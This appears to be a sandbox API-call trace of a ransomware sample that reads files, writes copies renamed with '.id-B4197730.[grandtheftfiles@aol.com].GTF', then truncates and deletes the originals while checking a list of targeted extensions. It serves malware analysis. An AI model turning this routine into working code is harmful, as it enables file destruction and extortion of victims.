	[0068.296] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.296] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".doc") returned 4
	[0068.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".docx") returned 5
	[0068.297] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.297] lstrlenW (lpString=".pdf") returned 4
	[0068.297] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".xls") returned 4
	[0068.297] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".xlsx") returned 5
	[0068.297] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.297] lstrlenW (lpString=".ppt") returned 4
	[0068.297] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".zip") returned 4
	[0068.297] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.297] lstrlenW (lpString=".rar") returned 4
	[0068.297] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".bz2") returned 4
	[0068.297] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString=".7z") returned 3
	[0068.297] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".dbf") returned 4
	[0068.297] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".1cd") returned 4
	[0068.297] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".jpg") returned 4
	[0068.297] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.297] lstrlenW (lpString=".doc") returned 4
	[0068.297] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".docx") returned 5
	[0068.298] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.298] lstrlenW (lpString=".pdf") returned 4
	[0068.298] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".xls") returned 4
	[0068.298] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".xlsx") returned 5
	[0068.298] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.298] lstrlenW (lpString=".ppt") returned 4
	[0068.298] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.298] lstrlenW (lpString=".zip") returned 4
	[0068.298] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.298] lstrlenW (lpString=".rar") returned 4
	[0068.298] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".bz2") returned 4
	[0068.298] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString=".7z") returned 3
	[0068.298] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.298] lstrlenW (lpString=".dbf") returned 4
	[0068.298] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.298] lstrlenW (lpString=".1cd") returned 4
	[0068.298] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.298] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44
	[0068.298] lstrlenW (lpString=".jpg") returned 4
	[0068.298] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.298] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.298] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0068.298] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.396] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=79996) returned 1
	[0068.396] CloseHandle (hObject=0x340) returned 1
	[0068.396] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0068.396] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.397] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.397] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0068.397] GetLastError () returned 0x0
	[0068.397] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1387c, lpOverlapped=0x0) returned 1
	[0068.558] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13880, lpOverlapped=0x0) returned 1
	[0068.563] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.566] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.566] SetEndOfFile (hFile=0x314) returned 1
	[0068.566] CloseHandle (hObject=0x314) returned 1
	[0068.569] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.569] SetEndOfFile (hFile=0x340) returned 1
	[0068.570] CloseHandle (hObject=0x340) returned 1
	[0068.570] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.571] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1
	[0068.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.571] lstrlenW (lpString=".doc") returned 4
	[0068.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".docx") returned 5
	[0068.571] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.571] lstrlenW (lpString=".pdf") returned 4
	[0068.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".xls") returned 4
	[0068.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".xlsx") returned 5
	[0068.571] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.571] lstrlenW (lpString=".ppt") returned 4
	[0068.571] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.571] lstrlenW (lpString=".zip") returned 4
	[0068.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.571] lstrlenW (lpString=".rar") returned 4
	[0068.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".bz2") returned 4
	[0068.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".7z") returned 3
	[0068.571] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.571] lstrlenW (lpString=".dbf") returned 4
	[0068.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".1cd") returned 4
	[0068.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".jpg") returned 4
	[0068.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".doc") returned 4
	[0068.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".docx") returned 5
	[0068.572] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0068.572] lstrlenW (lpString=".pdf") returned 4
	[0068.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".xls") returned 4
	[0068.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".xlsx") returned 5
	[0068.572] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0068.572] lstrlenW (lpString=".ppt") returned 4
	[0068.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".zip") returned 4
	[0068.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.572] lstrlenW (lpString=".rar") returned 4
	[0068.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".bz2") returned 4
	[0068.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".7z") returned 3
	[0068.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".dbf") returned 4
	[0068.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.572] lstrlenW (lpString=".1cd") returned 4
	[0068.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0068.573] lstrlenW (lpString=".jpg") returned 4
	[0068.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.573] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0068.573] lstrlenW (lpString="header.bmp") returned 10
	[0068.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.678] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3628) returned 1
	[0068.678] CloseHandle (hObject=0x334) returned 1
	[0068.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0068.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.680] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.680] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0068.680] GetLastError () returned 0x0
	[0068.680] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xe2c, lpOverlapped=0x0) returned 1
	[0068.754] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe30, lpOverlapped=0x0) returned 1
	[0068.755] ReadFile (in: hFile=0x340, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.755] WriteFile (in: hFile=0x314, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0068.755] SetEndOfFile (hFile=0x314) returned 1
	[0068.755] CloseHandle (hObject=0x314) returned 1
	[0068.756] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.756] SetEndOfFile (hFile=0x340) returned 1
	[0068.757] CloseHandle (hObject=0x340) returned 1
	[0068.757] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.757] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString=".doc") returned 4
	[0068.758] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".docx") returned 5
	[0068.758] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0068.758] lstrlenW (lpString=".pdf") returned 4
	[0068.758] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".xls") returned 4
	[0068.758] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".xlsx") returned 5
	[0068.758] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0068.758] lstrlenW (lpString=".ppt") returned 4
	[0068.758] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString=".zip") returned 4
	[0068.758] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".rar") returned 4
	[0068.758] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".bz2") returned 4
	[0068.758] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString=".7z") returned 3
	[0068.758] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString=".dbf") returned 4
	[0068.758] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString=".1cd") returned 4
	[0068.758] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.758] lstrlenW (lpString=".jpg") returned 4
	[0068.758] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0068.758] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString=".doc") returned 4
	[0068.759] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".docx") returned 5
	[0068.759] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1
	[0068.759] lstrlenW (lpString=".pdf") returned 4
	[0068.759] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".xls") returned 4
	[0068.759] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".xlsx") returned 5
	[0068.759] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1
	[0068.759] lstrlenW (lpString=".ppt") returned 4
	[0068.759] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString=".zip") returned 4
	[0068.759] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".rar") returned 4
	[0068.759] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".bz2") returned 4
	[0068.759] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString=".7z") returned 3
	[0068.759] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0068.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString=".dbf") returned 4
	[0068.759] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0068.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString=".1cd") returned 4
	[0068.759] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0068.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32
	[0068.759] lstrlenW (lpString=".jpg") returned 4
	[0068.759] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0068.760] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.760] lstrlenW (lpString="ParameterInfo.xml") returned 17
	[0068.760] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.774] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=272046) returned 1
	[0068.774] CloseHandle (hObject=0x36c) returned 1
	[0068.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80
	[0068.774] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.774] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.775] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.775] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.775] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.775] GetLastError () returned 0x0
	[0068.775] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x426ae, lpOverlapped=0x0) returned 1
	[0068.861] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x426b0, lpOverlapped=0x0) returned 1
	[0068.866] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.866] WriteFile (in: hFile=0x330, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0068.866] SetEndOfFile (hFile=0x330) returned 1
	[0068.866] CloseHandle (hObject=0x330) returned 1
	[0068.872] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.872] SetEndOfFile (hFile=0x36c) returned 1
	[0068.875] CloseHandle (hObject=0x36c) returned 1
	[0068.875] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.875] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1
	[0068.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.876] lstrlenW (lpString=".doc") returned 4
	[0068.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString=".docx") returned 5
	[0068.876] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0068.876] lstrlenW (lpString=".pdf") returned 4
	[0068.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString=".xls") returned 4
	[0068.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString=".xlsx") returned 5
	[0068.876] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0068.876] lstrlenW (lpString=".ppt") returned 4
	[0068.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.876] lstrlenW (lpString=".zip") returned 4
	[0068.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.876] lstrlenW (lpString=".rar") returned 4
	[0068.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString=".bz2") returned 4
	[0068.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString=".7z") returned 3
	[0068.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.876] lstrlenW (lpString=".dbf") returned 4
	[0068.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.876] lstrlenW (lpString=".1cd") returned 4
	[0068.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0068.877] lstrlenW (lpString=".jpg") returned 4
